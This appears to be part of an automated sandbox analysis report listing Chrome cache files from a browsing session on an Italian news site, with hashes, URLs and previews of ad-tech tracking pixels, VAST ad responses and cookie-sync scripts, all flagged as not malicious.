Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073061&val=2748817227883608021&gdpr=0&gdpr_consent=&us_privacy=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 741

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1037)
Category:	downloaded
Size (bytes):	1076
Entropy (8bit):	5.450859034205096
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTibzXh6vEFM+sBntvwCCZV9UkwhkOoxTuRXKr5c:c2Yz8TcYviMnhYJwhkxxTuRXEc
MD5:	BC354085E593EC8164C86E3B6108104C
SHA1:	CA5564E97DAAB3C032866EF43D6C89D512398476
SHA-256:	A927437493A565305E25327903D86DB7EE2A743378BD916CA30478C9287E1AE0
SHA-512:	9DD53122B2A6450FA9FC3BC51483FD9F828D8C56C55E334F6CA3E53A08376753D0C85F59B78E6F89EFA9FCE99A8303FD5DA87CBD0FA7C84E4BEA7D99E0DD5A88
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=dataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=tremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://i.w55c.net/ping_match.gif?st=TREMOR&rurl=https://partners.tremorhub.com/sync?UIDX=_wfivefivec_&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Li

Chrome Cache Entry: 742

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.145760679283741
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfpxIJikViJS4RKbuviyiFdfxcXl/OxuGQHRRAvn:TMVBd/faVic4subinfSlmSRRAv
MD5:	97D2E3C075A4EA1F775CCE418FDE177D
SHA1:	C52809A609DDC6A93BC3F2D934954AEF1A1CEC7D
SHA-256:	8CD629187427FDB93787D7156BE7A32C391BB2A8DA471BBAA274E806E48B36E7
SHA-512:	C3ECE0C86DDB1B546B503F2DF4309CCE64892113B64B15DAC2C5B7E9AB62D925DD3BA78C1AD2303AEF07D5233A11A0CC94E21A5A4264CE0A1D945F7BA3B34B03
Malicious:	false
Reputation:	low
URL:	https://pubads.g.doubleclick.net/gampad/ads?iu=%2F7047%2C22898733152%2Fapl%2Fshowheroes%2Fvast3&description_url=http%3A%2F%2Fbsnews.it&tfcd=0&npa=0&sz=400x300&gdfp_req=1&output=xml_vast4&unviewed_position_start=1&env=vp&correlator=622708487231388&vpa=auto&sdkv=h.3.629.1&osd=2&frm=0&vis=1&sdr=1&hl=en&is_amp=0&u_so=l&ctv=0&mpt=videojs-ima&sdki=445&ptt=20&adk=2044940861&sdk_apis=2%2C7%2C8&omid_p=Google1%2Fh.3.629.1&sid=EA12B335-679C-4E34-97A5-679AE24DB35E&a3p=EhsKDDMzYWNyb3NzLmNvbRiW5Iai6DFIAFICCGQSGAoJeWFob28uY29tGJbkhqLoMUgAUgIIZBIZCgp1aWRhcGkuY29tGJbkhqLoMUgAUgIIZBIcCg1jcndkY250cmwubmV0GJbkhqLoMUgAUgIIZBIZCgpwdWJjaWQub3JnGJbkhqLoMUgAUgIIZBIXCghydGJob3VzZRiW5Iai6DFIAFICCGQSFAoFb3BlbngYluSGougxSABSAghkEh0KDmVzcC5jcml0ZW8uY29tGJbkhqLoMUgAUgIIZA..&nel=1&eid=418572006%2C44772139%2C44776495%2C44777649%2C44781409%2C44806074%2C95321947%2C95322027%2C95323893%2C95324128%2C95326337&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&dlt=1711615881974&idt=15623&dt=1711615939296&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&scor=21004739623209&ged=ve4_td57_tt29_pd57_la57000_er897.718.1051.1018_vi0.0.907.1263_vp6_ts15_eb23275
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="4.0"/>.

Chrome Cache Entry: 743

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1078)
Category:	downloaded
Size (bytes):	1117
Entropy (8bit):	5.442340076320128
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTKJFbzXh6vEFM+sBntvwCCZV9Uk7Se8rTuRXKr5c:c2Yz8TkYviMnhYJYTuRXEc
MD5:	7D03A93AF78FF8B4358E470954178345
SHA1:	B15135E48708EBC5002141C234646A1087ACCB9E
SHA-256:	78730D0DF8E320D5C8D13DD051877D8F3AD648BDCF67610A86B2F0F7C710C1C5
SHA-512:	CC425703664A3CA5CF4EA29FE083DD5EB54E380C4F4C3FD34E31B86144E1007E0EF8DD0F9DCB9FEFF016B331017FBF7E6A9410FB3BCFA39BE139C02D61FBAE4D
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=conversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=TubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://tremor-match.dotomi.com/match/bounce/current?networkId=1103&version=1&nuid=5c99a009bd184d5ca3b7885003b720e3&rid=30f2e100c3804685b89bc432e7fc41cf </Er

Chrome Cache Entry: 744

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 745

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://dis.criteo.com/dis/usersync.aspx?r=70&p=120&cp=adyoulike&cu=1&url=https%3A%2F%2Fvisitor.omnitagjs.com%2Fvisitor%2Fsync%3Fis_cookie_sync_uid%3Dtrue%26uid%3D4246a50e6cf42e85f26c381a4b7701fb%26name%3DCRITEO%26visitor%3D%40%40CRITEO_USERID%40%40
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 746

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.487524087565756
Encrypted:	false
SSDEEP:	6:Q+H09E5Kjyww09Ext7AyotEw09EB74H5nHEw09ENwukhAD/i4:QQ09eww09Ct79otEw09yw5HEw09Wwuki
MD5:	27F10BD4BDA175015DD32539C2362C80
SHA1:	5BB22E8080E0ED7B4B988F70ACEF6D2A27D522B1
SHA-256:	8B884E919EF32B65258AC27ACB4189C0DC85807CFA8EC475B54F5A2E7E841BB7
SHA-512:	01A1A2EC80A8D4E3F0D05694E4B3AE201E61A703E2559B68C2F20CFBA75D0196A865729E3CD50AE1D77C31941AA9292858598FCF95965FFB46C6D601F9C94E87
Malicious:	false
Reputation:	low
Preview:	[. [. "//js.tncid.app/01_adform.js",. "tnc_adform". ],. [. "//js.tncid.app/02_weborama_sync.js",. "tnc_weborama_sync". ],. [. "//js.tncid.app/06_pubmatic.js",. "tnc_pubmatic". ],. [. "//js.tncid.app/09_nielsen.js",. "tnc_nielsen". ].]

Chrome Cache Entry: 747

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
URL:	https://sync.targeting.unrulymedia.com/csync/RX-b6a81ab2-e806-441c-954b-0b87961b9ddd-005
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 748

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1054)
Category:	downloaded
Size (bytes):	2689
Entropy (8bit):	5.40021492400263
Encrypted:	false
SSDEEP:	48:Otg7xBo1IN7Qa69Fa9FKYPCfmY/bZyf2jcju8m5I0zRHkFRvEJG:/N7QaaiC+Y/jcju8WhRHMxEJG
MD5:	9EF158292B617D358506529B02C73629
SHA1:	843852D8ADDBF1A7F96C5607179E1C9423ED8A4C
SHA-256:	3164DB7EF9EFC7121CE85192340A653C6CB87E34CAA05849C8FD47B7872F9FC5
SHA-512:	D4B0E6E8900043C9C4EE010ABFD00A51D891FE4B4F424418DC1A75075E3DF931D0558BFB3E983190079EDDD0BF11D7604E70CEAF119351690812EBC21D7EAEB8
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240326/r20110914/client/window_focus_fy2021.js
Preview:	(function(){'use strict';function f(a,b,e){a.addEventListener&&a.addEventListener(b,e,!1)};/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .function g(a,b,e){if(Array.isArray(b))for(var c=0;c<b.length;c++)g(a,String(b[c]),e);else null!=b&&e.push(a+(""===b?"":"="+encodeURIComponent(String(b))))};function l(a=document){return a.createElement("img")};function m(a,b,e=null,c=!1){n(a,b,e,c)}function n(a,b,e,c){a.google_image_requests\|\|(a.google_image_requests=[]);const d=l(a.document);if(e\|\|c){const k=h=>{e&&e(h);if(c){h=a.google_image_requests;const v=Array.prototype.indexOf.call(h,d,void 0);0<=v&&Array.prototype.splice.call(h,v,1)}d.removeEventListener&&d.removeEventListener("load",k,!1);d.removeEventListener&&d.removeEventListener("error",k,!1)};f(d,"load",k);f(d,"error",k)}d.src=b;a.google_image_requests.push(d)};function p(a=null){return a&&"22"===a.getAttribute("data-jc")?a:document.querySelector('[data-jc="22"]')};var q=document,r=window;functi

Chrome Cache Entry: 749

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1745), with no line terminators
Category:	downloaded
Size (bytes):	1745
Entropy (8bit):	5.302550801600209
Encrypted:	false
SSDEEP:	24:kRHKOPgExYSY0GLSYxBfi7qSYckS2SYwASYoQSYAb1NSY3uMrSYcWXNSYt:kHRFEDxBfiUckSMhnq93/FXTt
MD5:	091014E90F56424F61C8BD91A09EC53B
SHA1:	0EDF5335B8B3C0CA78C22F4155B0C24D7CF52781
SHA-256:	287E09EA64F4FC2153ECEDFFBFFD626F397B46B3F923C7565AFA4F6706AECDCE
SHA-512:	79A5FA53344528C32158123E17B31C0D23F7B0152EAAE86B61F227A2FE213C44E2BDD12BD191835B89F32B091B6D34BA76BE0CD8E17B60E9CA5E99B92DA0C9D9
Malicious:	false
Reputation:	low
URL:	https://ssum-sec.casalemedia.com/usermatch?cb=https%3A%2F%2Fsync.richaudience.com%2F2066127a3f7c6635eb4f6cac536feb5a%2F%3Fgdpr%3D0%26euconsent%3D%26uid%3D&gdpr=0&gdpr_consent=&s=201092&C=1
Preview:	<html><head><title></title></head><body><img src="https://s.amazon-adsystem.com/dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://match.adsrvr.org/track/cmf/casale" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://cm.g.doubleclick.net/pixel?google_nid=index&google_cm&google_hm=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://i.liadm.com/s/31327?bidder_id=14481&bidder_uuid=ZgUvi9HM46UAADq7ABhzMwAA%262753&gpdr=&gdpr_consent=&us_privacy=&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://bttrack.com/pixel/cookiesync?source=67e94f23-25d6-4008-8236-375d1743c2e0&secure=1" sty

Chrome Cache Entry: 750

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	16622
Entropy (8bit):	7.964413938643476
Encrypted:	false
SSDEEP:	384:rSDTT68DPdJMkOO4MYOXlcQsKTbWQ8fwh+vL3:GDNzTMlOTXlVBTbWnjvz
MD5:	C6AD481A2D58AEA2FF2279B4E30B492B
SHA1:	84663378347BEFC17B2DDA995E05B3AB2BBE97B7
SHA-256:	BAD8BC0FF16B85ACF8CE92790ED28565BBC30A616068A0FACE35EB2A0AB5A5B8
SHA-512:	DB8BF9643638D72730D1FCE5280041A3CE6934783FEE9FC36806ADD1583394BF1D6C155AC2F5AA2F986B2EAD92212D790C887BC9F9CA813C04B5BDBA955DEB5D
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D..".................................................................................>z..S.Cs.:.6....6%P.y^.....T..G..hQ..h...8DdN......:I.7.7.y@.....F)..c..M....k<O.cO.....8.m....a.....m.i4..K...b.>..'&.....T.9b.......;R.x...I...>.b.6......'qP.\....e^;._&'.$.i.bb.k:O....F...S.M........].....ha......K5Gx.RH.:.._[}...B....n] .6..............@....)\|.1-d...b...-.'......n}g..].N.>.V.^Z.lR..g-.....7T..[Y.Z.......L.G$..P.=%..C..5.....Sh.....=..i&..'Z...S~>x....5y..........e..3..x.8.f.n .2.j.z.&..U....Mq.a...[.Y...K..:.7V~~.!...,".{.ZPHQ..L.j1.8.=r.^y..hj.4K...9..[..zT...p.S...m.....?_i.....:.M.].yQ.svw13T....qp....M..L.5...gWK[..<.k....3f..".u*.W.H.Yf..B(z.6.].i...#..)r....u..8..r8{D..g,a....\....7..c..'F.q.j.[.i).-..#U..ek=...j.y...7.kS.....IQ!........[...k.P...;....Q.q.\|HO.Z..V..E&..9.

Chrome Cache Entry: 751

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=rubicon&google_hm=ZmRjODRkZmE2OTVjN2RjN2RhNWJiMjBkZjEyMWUwNTA1NmU1MjU1OQ&gdpr=0
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 752

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=130&external_user_id=AAB0rE7MCl8AABRdYMg-YA&expiration=1712825514
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 753

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4873), with no line terminators
Category:	downloaded
Size (bytes):	4879
Entropy (8bit):	5.17402304145399
Encrypted:	false
SSDEEP:	96:7y8KaRFgfRFgtc0rQRFmychP0BKKaRFgd9sRFgtc0rQRFmr7ED514QGM:AaRuR/0rQRTcd0BpaRm9sR/0rQRJzb
MD5:	3283213E76FFAABF8606E4CB40F7F0D3
SHA1:	14921CBEAD60D98CA8D5675190B7A2462E2F758B
SHA-256:	92614B25244F5831FFA83091FC94526566C522045BBF7E66C42E60A10C607225
SHA-512:	B918D36ECBBC25AF4E14D7F4AB54933EF25D85A4FC78E0BC9A3449D870C262269B8E9E40CC98E13D5EAF9D0EA438284F464FAB5170AD924DF83727DC7122AD02
Malicious:	false
Reputation:	low
URL:	https://onesignal.com/api/v1/sync/311012f7-94f1-418c-abe0-3336ba01758e/web?callback=__jp0
Preview:	__jp0({"success":true,"app_id":"311012f7-94f1-418c-abe0-3336ba01758e","version":2,"features":{"restrict_origin":{"enable":false},"cookie_sync":{"enable":false},"metrics":{"enable":true,"mixpanel_reporting_token":"7c2582e45a6ecf1501aa3ca7887f3673"},"enable_on_session":false,"web_on_focus_enabled":true,"session_threshold":30},"config":{"prompts":{"slidedown":{"enabled":true,"autoPrompt":true,"acceptButton":"S. GRAZIE","cancelButton":"NO","actionMessage":"Vuoi ricevere gli ultimi aggiornamenti di BsNews.it su Brescia e provincia? E' gratis!","customizeTextEnabled":true,"prompts":[{"enabled":true,"text":{"customizationEnabled":true,"acceptButton":"S. GRAZIE","cancelButton":"NO","actionMessage":"Vuoi ricevere gli ultimi aggiornamenti di BsNews.it su Brescia e provincia? E' gratis!","confirmMessage":null},"type":"push","delay":{"pageViews":null,"timeDelay":null},"autoPrompt":true,"icon":"https://www.filepicker.io/api/file/zZcIrfbTvvyOYUqKAGOA"}]},"fullscreen":{"title":"Esempio notizia","ca

Chrome Cache Entry: 754

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (20352)
Category:	downloaded
Size (bytes):	20485
Entropy (8bit):	5.631187066590045
Encrypted:	false
SSDEEP:	192:TvJtsaNQEZgIlW8Pi1ygBOmaYUpX0/qs5ZfvRTqCFd0BiXSbxKyIdyg:NgIlpPi1yakYlRTnFGBhIz
MD5:	63C495D099BD6168D6BAD18EDCEA8BD9
SHA1:	F9B7A6F04C1189D9D89DFF1046C2E135C97322B3
SHA-256:	B84D84C40918151C8CBAFF7F80249D576E06583ADCC3AFF3C9ADC4C39AFA4ECA
SHA-512:	3518D1EFC0251EF67FD6E054E94520BE106281489480D721BEB013B920413D8B477B402F26846424718FDF6ECD0C9A35B2B57541F60157DB90C46BCCBD0CC48B
Malicious:	false
Reputation:	low
URL:	https://widgets.outbrain.com/widgetOBUserSync/obUserSync.html
Preview:	<!doctype html><html><head><meta charset="utf-8"/><title>OB user sync</title></head><body><script>window.version = "0.4.176";. . (()=>{"use strict";var e,t,r={552:(e,t,r)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.consentHandler=t.Consent=void 0;var n=r(22),i=r(416),o=function(){function e(){this.cmpFrame=null,this.gdprVer=(0,n.getQueryParam)("gdprVer",null),this.tcfFrame=null,this.cmpCallbacks={},this.gdprApplies=this.isGdprApplies(),this.consentString=null,this.isPurposeConsent=null,this.vendorConsents=null,this.ccpaData=(0,n.getQueryParam)("ccpa","1---"),this.gdprApplies&&(this.getConsentFrame(),this.exposeConsentMethods())}return e.prototype.getGdprVersion=function(){return this.gdprVer},e.prototype.isGdprApplies=function(){return!("1"!==(0,n.getQueryParam)("gdpr","0")\|\|!this.isLegalGdpreVersion()&&"true"!==(0,n.getQueryParam)("cmpNeeded","false"))},e.prototype.isLegalGdpreVersion=function(){var e=(0,n.getQueryParam)("gdprVer","null");return"1"===e\|\|"2"===e},e

Chrome Cache Entry: 755

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=156136&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 756

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2235)
Category:	downloaded
Size (bytes):	2324
Entropy (8bit):	5.6818259433916545
Encrypted:	false
SSDEEP:	24:f1bvaS2oDR4P/MKudPigvd8FwnthF1duTeUzkHe8yaKqnJkLIid9RBdyad9wL:tzaSr4PEK+wgFmjzkHTj/6kcRw
MD5:	D74A28F574DD9E8B9C985F8A355DCDAC
SHA1:	75BA077E632963D952E19158C44DC773E0CE02BF
SHA-256:	576E71EC1981ADE1CC99949F2A40CA272A5DA3FA6BAD5AE2E95C759695DFAB96
SHA-512:	0636E110E75DAAD741DA10DB71F68A04BCA273109DA6A693F431A94DCEF96451C0BA539FEDB6815AF1B5D75630898E93B8FF4ED73DC9F66889E771D9DEE84DF5
Malicious:	false
Reputation:	low
URL:	https://sync.a-mo.net/isyn?__st=iframe&gdpr=0&gdpr_consent=&us_privacy=1---_e=CpsBSglic25ld3MuaXRSC2Fhcy0yNzgyYTkxWghwYmExLjMuNGoJYnNuZXdzLml0-gEGOC4zMy4w6AIBiAOH35SwBqgDOuoDJDcwNzI4Mzc1LTIxNjMtNDE3Mi1hMmE5LWVjZGFkMTljMmM2ZKoEA0RDSLIFA1VTROoFB2Rlc2t0b3D6BQNwaHiqBwN3ZWLKBwlic25ld3MuaXTgBwE
